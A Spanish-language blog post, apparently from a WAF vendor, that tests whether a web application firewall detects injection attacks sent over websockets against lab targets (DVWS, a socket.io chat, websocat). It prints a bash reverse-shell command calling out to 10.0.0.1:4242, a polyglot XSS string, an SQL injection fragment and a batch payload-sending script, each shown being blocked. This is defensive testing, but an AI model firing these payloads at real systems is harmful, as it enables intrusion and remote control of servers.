¿Solución funcional o ilusión? / Sudo Null Noticias de TI

Existe la opinión de que, debido a la naturaleza de los websockets, WAF no puede analizarlos ni protegerlos adecuadamente. Intentemos descubrir qué tan cierta es esta afirmación.

Primero, algunas palabras sobre qué es un websocket y dónde se utiliza.

Brevemente sobre websockets

Funciones del protocolo

  • Funciona a través de una conexión TCP.

  • Intercambio de datos bidireccional a través de una conexión persistente, en tiempo real, con una sobrecarga mínima.

  • Para establecer una conexión, el cliente genera una solicitud HTTP especial, a la que el servidor responde de cierta manera, es decir, cambia de HTTP a Websocket.

  • Estandarizado por el IETF como RFC 6455 en 2011, datos actuales aquí

  • Se puede utilizar para cualquier aplicación cliente o servidor.

  • Compatible con todos los navegadores modernos.

  • Existen bibliotecas para lenguajes populares: Objective-C, .NET, Python, Java, node.js, Go.

  • Hay una extensión para el protocolo. RFC 7692 para la compresión de datos.

El procedimiento para cambiar de HTTP a sockets se describe bastante bien en Wikipedia.

Implementaciones de ejemplo:

También hay implementaciones interesantes como websocket 😉

Aún más información aquí

Aplicaciones:

  • Aplicaciones en tiempo real: paneles de control, paneles de control, terminales comerciales

  • Juegos

  • Aplicaciones de chat

Vulnerabilidades y ataques comunes de websockets

Para simplificar, dividiré las vulnerabilidades en varios grupos:

  • Ataques a la seguridad de la sesión (control de acceso roto)

  • Ataques a la lógica empresarial

  • DoS y DDoS

    • Agotamiento de recursos: ataques destinados a agotar los recursos del servidor o del cliente, como la memoria o el tiempo de CPU, mediante la creación de una gran cantidad de conexiones WebSocket.

    • Agotamiento de las conexiones TCP

  • Ataques relacionados con un filtrado insuficiente de la entrada del usuario

    • Todo tipo de inyecciones (XSS, RCE, SQLi, etc)

    • SSRF

  • Ataques a la implementación de websocket

  • Ataques de red

    • Ataques Man-in-the-Middle (MITM): un atacante intercepta y modifica mensajes enviados entre un cliente y un servidor.

    • Sniffing: analiza el tráfico de WebSocket para obtener datos confidenciales

Como puede ver, el atacante tiene muchas opciones, lo que dificulta la tarea de protección para los desarrolladores de WAF.

A la variedad de ataques hay que añadir los siguientes matices:

  • Cualquier opción para codificar datos transmitidos dentro de un socket: json, texto sin formato, serialización, formatos personalizados, datos binarios.

  • La complejidad de implementar el análisis de comportamiento, debido al hecho de que los datos se transfieren dentro de una sesión (conexión).

Y, sin embargo, muchos WAF afirman ser compatibles con websockets…

¿Cómo probar un WAF para la protección de websocket?

Probaremos la detección de inyección, porque… Este es el escenario más simple y visual, y también puede considerarse la funcionalidad básica de WAF.

Según los resultados de la prueba, será posible juzgar la capacidad del WAF para analizar y analizar sockets web, así como la calidad de las firmas.

La lógica general es configurar un backend de websocket, configurar el flujo de tráfico a través del WAF, enviar varias cargas útiles y monitorear la reacción.

Todo es muy similar a las pruebas WAF habituales, sobre las cuales ya escribimos antes.

La avispa no fallará: entendemos los métodos de prueba y comparación ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶ WAF

¿Cuántos loros produce tu WAF? Revisión de utilidades de prueba.

La única diferencia está en el transporte.

Te mostraré pruebas usando nuestro producto como ejemplo, ya que siempre lo tengo a mano 😉

Y para variar, probemos varias implementaciones de websocket.

OWASP Malditos sockets web vulnerables (DVWS)

https://github.com/interference-security/DVWS

Un proyecto bastante antiguo, escrito en PHP, utiliza la biblioteca Ratchet para websockets. La aplicación contiene muchas vulnerabilidades: SQLi, inyección de comandos, XSS, LFI. Sugiero mirar la página del proyecto para más detalles. Si lo deseas, puedes encontrar artículos como ejemplo.

Los autores no agregaron un Dockerfile al proyecto, lo cual es algo inconveniente, pero no importa, se puede tomar docker-compose de Solicitud de extracciónque es lo que hice al iniciar la aplicación.

El frente se colgará en el puerto 8888 y el websocket en 8081.

Un ejemplo de una configuración NGINX para proxy y filtrado de tráfico a través de un nodo WMX:

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

    location / {
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_pass 
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
 }

Primero debe realizar la configuración inicial de la aplicación yendo a http://dvws.local:8888/setup.php

Ahora intentemos explotar los errores y observar la comunicación entre el cliente y el servidor.

En la página de ejecución de comandos, primero inserte la dirección IP en el campo de dirección:

En el modo de desarrollador, puede ver que los datos pasan por el websocket.

Y luego intentemos agregarle un shell inverso:

1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Se detectó un intento de iniciar un shell inverso y se interrumpió la conexión.

Se detectó un intento de iniciar un shell inverso y se interrumpió la conexión.

Ejemplo de un evento en LC:

Como puede ver, en este caso los datos se transmiten en texto plano y WAF no tiene ningún problema particular para analizarlos.

La situación es similar con la explotación de otras vulnerabilidades de DVWS, sigamos adelante.

Enchufe.io

Echemos un vistazo a otra herramienta de comunicación que puede utilizar websocket como transporte al intercambiar mensajes.
Es interesante porque agrega metadatos adicionales a cada paquete, más detalles aquí. Comprobemos si WAF puede analizar esto.

Tomemos un ejemplo de chat de /árbol/principal/ejemplos/chatpor desgracia, esta vez sin vulnerabilidades especialmente dejadas 😉

Ejecutando la aplicación de prueba:

git clone 
cd socket.io/examples/chat/
npm i
npm start

El servicio comenzará en el puerto 3000.

Un ejemplo de una configuración NGINX, no cambié el nombre del servidor, dejé dvws.local.

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $host;
      proxy_pass 
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
    }
 }

Intentemos enviar varias solicitudes y observar la comunicación.

Interacción normal cliente-servidor

Interacción normal cliente-servidor

Intentemos enviar algo de XSS.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
XSS detectado, conexión cerrada.

XSS detectado, conexión cerrada.

Ejemplo de un evento en LC

Ejemplo de un evento en LC

Se detectan ataques, la conexión TCP se interrumpe y hay eventos correspondientes en la consola de administración.

Websocat

Y finalmente, intentemos realizar pruebas más interesantes. Usaremos websocat tanto para simular un servidor como para enviar varias cargas útiles. Los datos transmitidos se comprimirán mediante gzip, se empaquetarán en json y se codificarán en base64.

Primero necesitas tomar el binario de páginas del proyecto.

Iniciando el servidor:

./websocat -s 127.0.0.1:3000

Consulte la configuración de NGINX arriba.

Algunos ejemplos de ejecución de websocat:

# простой интерактивный режим
./websocat ws://dvws.local -E

# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv

# Оборачивать payload в JSON, method и params. 
# {"jsonrpc":"2.0","id":1, "method":"f", "params":()}
./websocat ws://dvws.local/ --jsonrpc -E

# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E 

# Отправить строку, вывести более детальный log
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E

Pero todo esto es para solicitudes únicas… Sería más divertido tomar lo siguiente como fuente de carga útil:

A continuación, genere archivos que contengan muchos ataques, así como archivos individuales con falsos positivos, y ejecútelos en un lote. Esto se puede hacer con medios improvisados.

cargas útiles_send.sh

#!/bin/bash

TARGET="ws://dvws.local/"
FILENAME=$1
ENCODING=$2

if (( $# -eq 0 )) ; then
    echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
    echo 'Encoding methods: plain, base64, gzip, json'
    exit 1
fi

while IFS= read -r line
do
  echo "$line"
  case "$ENCODING" in
    plain) echo "$line" | ./websocat $TARGET --binary -E ;;
    base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
    gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
    json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
    *) echo "$line" | ./websocat $TARGET --binary -E ;;
  esac
  shift
done < "$FILENAME"

En el lado del servidor, puede habilitar la grabación de cargas útiles pasadas en un archivo, para que luego pueda hacer una diferencia y comprender qué pasa por el WAF y qué no.

./websocat ws-l:127.0.0.1:3000 writefile:passed.txt

O simplemente mire la salida del servidor websocat en STDOUT.

Para mayor claridad, inicié websocat con el indicador –vv e intenté, entre otras cosas, enviar:

123) AND 12=12 AND JSON_DEPTH('{}') != 2521
Vista lateral del cliente

Vista lateral del cliente

Vista desde el lado del servidor. El ataque no llegó al fondo.

Vista desde el lado del servidor. El ataque no llegó al fondo.

Ataque detectado en LC

Ataque detectado en LC

Recomendaciones de seguridad

  • Utilice WSS (WebSockets Secure) en lugar de websockets no cifrados.

  • Utilice tokens CSRF para protegerse contra CSWSH.

  • Verifique el encabezado ORIGEN para obtener protección contra CSWSH.

  • Validar y escapar de la entrada del usuario.

  • Utilice la limitación de velocidad para reducir el riesgo de ataques de denegación de servicio (DoS).

  • Establezca restricciones sobre el tamaño máximo de los datos transmitidos dentro del websocket, esto reducirá los riesgos de DoS.

  • Utilice WAF con soporte websockets;)

  • Si su WAF afirma ser compatible con websockets, sería una buena idea probarlo.

Kit de herramientas y enlaces útiles

https://github.com/PalindromeLabs/STEWS

https://github.com/PalindromeLabs/awesome-websocket-security

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

https://book.hacktricks.xyz/pentesting-web/websocket-attacks

https://portswigger.net/web-security/websockets

https://github.com/PalindromeLabs/WebSockets-Playground

Conclusión

Al principio del artículo, se planteó la cuestión de la capacidad de WAF para procesar y proteger websockets. Como puede ver, WAF se las arregla con esto, pero con algunas advertencias:

  • WAF debe tener un módulo o analizador separado diseñado para un websocket.

  • Si su aplicación utiliza la extensión RFC 7692, entonces el WAF debe admitirla.

  • En WAF, es deseable un mecanismo para trabajar con falsos positivos.

  • Debe haber análisis de datos dentro del websocket (json, gzip, xml, etc.).

  • Será muy difícil o incluso imposible para WAF analizar mensajes dentro de un websocket si se utilizan protocolos de transferencia de datos binarios/personalizados.

  • El análisis del comportamiento es difícil o imposible de implementar.

Si la protección de Websocket es importante para usted, acérquese a nosotros para obtener una prueba piloto gratuita.

¡Buena suerte con tu defensa! Estaré encantado de recibir críticas constructivas y adiciones.

Suscríbete a canal. Aquí compartimos información sobre el producto, nuestros hallazgos y desarrollos hasta que se recopilan en un gran material estático.

Publicaciones Similares

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *